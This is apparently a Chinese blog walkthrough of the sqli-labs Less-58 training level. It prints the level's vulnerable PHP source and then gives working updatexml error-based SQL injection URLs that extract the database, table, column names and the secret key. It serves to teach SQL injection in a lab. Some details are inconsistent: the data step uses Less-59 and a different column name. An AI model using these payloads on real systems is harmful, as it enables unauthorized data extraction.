当前位置: 首页 > news >正文

sqli-labs通关笔记-第58关 GET字符型报错注入(单引号闭合 限制5次探测机会)

目录

一、代码审计

1、源码分析

2、SQL注入风险分析

(1)联合SQL注入方法(不可行)

(2)报错SQL注入方法(可行)

(3)总结

二、渗透实战

1、渗透准备

2、爆数据库名

3、爆表名

4、爆列名

5、爆数据

6、输入密钥


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第58关Less 58基于GET型的字符SQL注入关卡进行渗透实战,该关卡限制渗透尝试的次数。相对于54关卡,区别是打印数据库报错信息,且尝试次数由10次机会降为只有5次机会。

一、代码审计

1、源码分析

第58关卡是一个 SQL 注入挑战页面,相对于54关卡,区别是打印数据库报错信息(关系到是否可以使用报错法注入),以及渗透成功的输出内容发生改变(关系到是否可以使用UNION联合法注入),对比如下所示。

第58关卡index.php经过注释的源码如下所示。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-58:Challenge-5</title>
</head><body bgcolor="#000000">
<div style ="text-align:right">
<form action="" method="post">
<!-- 重置挑战的表单按钮,点击后清除Cookie并重新生成随机数据 -->
<input type="submit" name="reset" value="Reset the Challenge!" />
</form>
</div>
<div style=" margin-top:20px;color:#FFF; font-size:23px; text-align:center">
Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00"><?php
// 引入数据库连接文件和工具函数(包含随机表名、列名生成逻辑)
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
// 关闭PHP错误报告,避免暴露敏感信息
error_reporting(0);
// 获取当前页面URL,用于重定向时携带参数
$pag = $_SERVER['PHP_SELF']; 
// 定义随机字符集(用于生成随机表名、列名等)
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; 
// 设置允许的最大尝试次数为5次(挑战难度较高)
$times= 5;// 从工具函数中获取随机生成的表名和列名
$table = table_name();        // 随机表名(存储secret key)
$col = column_name(1);         // 第一列名(通常为session ID列)
$col1 = column_name(2);        // 第二列名(目标secret key列)// 处理用户提交的secret key(未提交时执行挑战逻辑)
if (!isset($_POST['answer_key'])) {// 处理重置请求if (isset($_POST['reset'])) {// 清除挑战相关Cookiesetcookie('challenge', ' ', time() - 3600000);echo "<font size=4>挑战已重置</font><br>\n";// 4秒后重定向到初始化页面header("refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag");} else {// 检查用户是否携带挑战Cookie(存储会话ID)if (isset($_COOKIE['challenge'])) {$sessid = $_COOKIE['challenge'];} else {// 生成新Cookie并存储随机数据(有效期30天)$expire = time() + 60 * 60 * 24 * 30;$hash = data($table, $col); // 从随机表获取数据生成Cookie值setcookie("challenge", $hash, $expire);}echo "<br>\n";// 处理用户通过GET提交的id参数(核心查询功能)if (isset($_GET['id'])) {$id = $_GET['id'];// 记录用户输入的id到日志文件(未过滤输入,存在安全风险)$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:'.$id."\n");fclose($fp);// 更新尝试次数(可能涉及数据库操作,函数在functions.php中)next_tryy();// 获取已用尝试次数并显示$tryyy = view_attempts();echo "已尝试:{$tryyy} 次 / 共{$times}次";echo "<br><br><br>\n";// 尝试次数超限后重置挑战if ($tryyy >= ($times + 1)) {setcookie('challenge', ' ', time() - 3600000);echo "<font size=4>尝试次数超限,挑战已重置</font><br>\n";header("refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag");echo "<br>\n";}// **核心SQL查询**:存在SQL注入风险$sql = "SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if ($row) {// 查询成功时,从预设数组中返回用户名和密码(非数据库真实数据)$unames = array("Dumb", "Angelina", "Dummy", "secure", "stupid", "superman", "batman", "admin", "admin1", "admin2", "admin3", "dhakkan", "admin4");$pass = array_reverse($unames); // 密码数组为用户名数组的逆序echo '<font color= "#00FFFF">';echo '你的登录名:' . $unames[$row['id']]; // 使用查询结果中的id作为数组索引echo "<br>你的密码:" . $pass[$row['id']];echo "</font>";} else {// **关键差异**:查询失败时打印数据库错误信息echo '<font color= "#FFFF00">';print_r(mysqli_error($con1)); // 输出MySQL错误信息,如语法错误、表不存在等echo "</font>";  }} else {// 提示用户输入id参数(示例:?id=1)echo "请输入ID参数(需为数字值),如实验练习所示\n<br><br>\n";echo "<font color='#00FFFF' size=3>挑战目标:在{$times}次内从'CHALLENGES'数据库的随机表中获取secret key<br>每次重置会生成新的随机表名、列名和数据</font><br>";}}
} else {// 处理用户提交的secret key(验证逻辑)echo '<div style=" color:#00FFFF; font-size:18px; text-align:center">';$key = addslashes($_POST['key']); // 转义输入,防御SQL注入$key = mysqli_real_escape_string($con1, $key); // 数据库层转义// 查询随机表验证secret key(表名和列名为随机生成)$sql = "SELECT 1 FROM $table WHERE $col1 = '$key'";$result = mysqli_query($con1, $sql) or die("提交密钥时出错:" . mysqli_error($con1)); // 错误信息会暴露给用户$row = mysqli_fetch_array($result, MYSQLI_BOTH);if ($row) {// 验证成功时显示图片并重定向echo '<font color= "#FFFF00">';echo "\n<br><br><br><img src=\"../images/Less-54-1.jpg\" />";echo "</font>"; header("refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag");	} else {// 验证失败时显示图片并重定向echo '<font color= "#FFFF00">';echo "\n<br><br><br><img src=\"../images/slap1.jpg\" />";header("refresh:3;url=index.php");echo "</font>";  }
}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-58.jpg" />
</center>
<br><br><br>
<div style=" color:#00FFFF; font-size:18px; text-align:center">
<form name="input" action="" method="post">
Submit Secret Key: <input type="text" name="key">
<input type="submit" name="answer_key" value="Submit">
</form> 
</div>
</body>
</html>

本关卡核心功能包括:通过 GET 参数 “id” 查询 “security.users” 表并显示用户信息,利用 COOKIE 存储挑战状态,提供重置功能以生成随机表名、列名和数据(存储于 “CHALLENGES” 数据库),用户需在5次尝试内通过注入获取随机表中的 “secret key” 并提交验证。代码存在字符串型 SQL 注入风险(“id” 参数未过滤),并打印数据库的信息导致使得可以通过报错法注入,同时随机化机制未有效防御枚举攻击,整体用于演示盲注场景下的渗透测试与防御逻辑。 

2、SQL注入风险分析

(1)联合SQL注入方法(不可行)

联合注入法(Union-based SQL Injection)是 SQL 注入攻击中一种高效的技术,攻击者通过构造恶意输入,将额外的查询语句与原查询结合,从而获取数据库中的敏感信息。但是联合注入依赖于页面回显来获取数据。如果页面不输出数据库查询结果的内容,则无法直接通过 UNION 查询获取结果。如下所示,这是从58关开始页面在查询成功后的输出,很明显从预设数组中返回用户名和密码(非数据库真实数据),既然页面无法返回数据库真实数据,那么就无法使用联合注入法渗透。

if ($row) {// 查询成功时,从预设数组中返回用户名和密码(非数据库真实数据)$unames = array("Dumb", "Angelina", "Dummy", "secure", "stupid", "superman", "batman",   "admin", "admin1", "admin2", "admin3", "dhakkan", "admin4");$pass = array_reverse($unames); // 密码数组为用户名数组的逆序echo '<font color= "#00FFFF">';echo '你的登录名:' . $unames[$row['id']]; // 使用查询结果中的id作为数组索引echo "<br>你的密码:" . $pass[$row['id']];echo "</font>";
} 

(2)报错SQL注入方法(可行)

报错注入是一种利用数据库错误信息获取敏感数据的渗透方法,其成功实施需要在数据库执行错误的 SQL 语句时,错误信息会被返回给客户端(如浏览器),且未被应用程序捕获或屏蔽。如下所示本关卡中使用print_r(mysqli_error($con1));函数打印数据库报错信息,故而可以使用报错法进行渗透。

if ($row) {......
} else {// **关键差异**:查询失败时打印数据库错误信息echo '<font color= "#FFFF00">';print_r(mysqli_error($con1)); // 输出MySQL错误信息,如语法错误、表不存在等echo "</font>";  
}

(3)总结

本关卡具有字符型注入风险,参数id通过GET传入,并未做任何过滤,存在SQL注入风险。由于限制5次,只能使用报错法尝试注入。

$id=$_GET['id'];
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";

二、渗透实战

1、渗透准备

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://192.168.59.1/sqli-labs/

点击进入Page4挑战(Challenges)页面,如下图红框所示。 

其中第58关在挑战关卡“SQLi-LABS Page-4(Challenges)”中, 点击进入如下页面。 

http://127.0.0.1/sqli-labs/index-3.html#fm_imagemap

点击上图红框的Less58关卡,进入到靶场的第58关SQL注入关卡(限制5次),页面提示“ Please input the ID as parameter with numeric value as done in Lab excercises ”,以及“The objective of this challenge is to dump the (secret key) from only random table from Database ('CHALLENGES') in Less than 5 attempts,For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.”具体如下所示。 

2、爆数据库名

如下所示,用户名显示信息为challenges,说明数据库名为“challenges”。

http://192.168.59.1/sqli-labs/Less-58?id=8' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

3、爆表名

如下所示,数据库challenges包含表格“3fw29tkr9z”。

http://192.168.59.1/sqli-labs/Less-58?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+

4、爆列名

如下所示,3fw29tkr9z表的列名包括id,sessid,secret_QD6E,tryy共4项目内容。

http://192.168.59.1/sqli-labs/Less-58?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='3fw29tkr9z'),0x7e),1)--+

5、爆数据

如下所示,SQL注入获取到secret_QD6E对应的值为dfPNMhKVZiBY3TrHBaeQ65fy。

http://192.168.59.1/sqli-labs/Less-59/?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_94K4) from challenges.3fw29tkr9z),0x7e),1)--+

6、输入密钥

将 dfPNMhKVZiBY3TrHBaeQ65fy输入到secret key对应的框内,渗透成功。

burpsuite抓包,找到这个提交密钥的报文,如下所示说明渗透成功。

http://www.dtcms.com/a/340969.html

相关文章:

  • 六大缓存(Caching)策略揭秘:延迟与复杂性的完美平衡
  • git-git submodule和git subtree的使用方式
  • 大规模IP轮换对网站的影响(服务器压力、风控)
  • CISP-PTE之路--05文
  • 企业微信2025年发布会新功能解读:企业微信AI——2025年企业协作的「最优解」是如何炼成的?
  • 跨境电商独立站搭建多少钱?响应式设计 + 全球 CDN 加速服务
  • IBMS系统集成平台具备哪些管理优势?核心价值体现在哪里?
  • HTTP/1.1 与 HTTP/2 全面对比:性能革命的深度解析
  • 工控PID控制器学习总结
  • [element-plus] el-tree 拖拽到其他地方,不拖拽到树上
  • 怎么确定mongodb是不是链接上了?
  • 疏老师-python训练营-day51复习日+退款开始
  • AP数学课程AB和BC怎么选?AP数学课程培训机构推荐哪家?
  • Git 新手完全指南(一):从零开始掌握版本控制
  • .gitignore 文件 记录
  • git报错解决:ssh: connect to host github.com port 22: Connection refused
  • 阶跃星辰 StepFun 入驻 GitCode 平台,带来工业级 AI 体验
  • macos 多个版本的jdk
  • 版本软件下载电脑适配说明
  • 【数据类型】
  • UE5 PCG 笔记(二) Difference 节点
  • 从天线到芯片封装,CST如何赋能高频设计全流程
  • MySQL程序和选项文件配置
  • 【Coze】Windows 环境下使用 Docker 部署 Coze Studio 的详细指南
  • 力扣面试150(61/100)
  • Leetcode 深度优先搜索 (11)
  • AI +金融 = 七大核心维度+ 落地典型困难
  • Final Cut Pro X Mac fcpx音视频剪辑编辑
  • AI + 金融领域 + 落地典型案例
  • 基于FPGA的实时图像处理系统(2)——VGA显示彩条和图片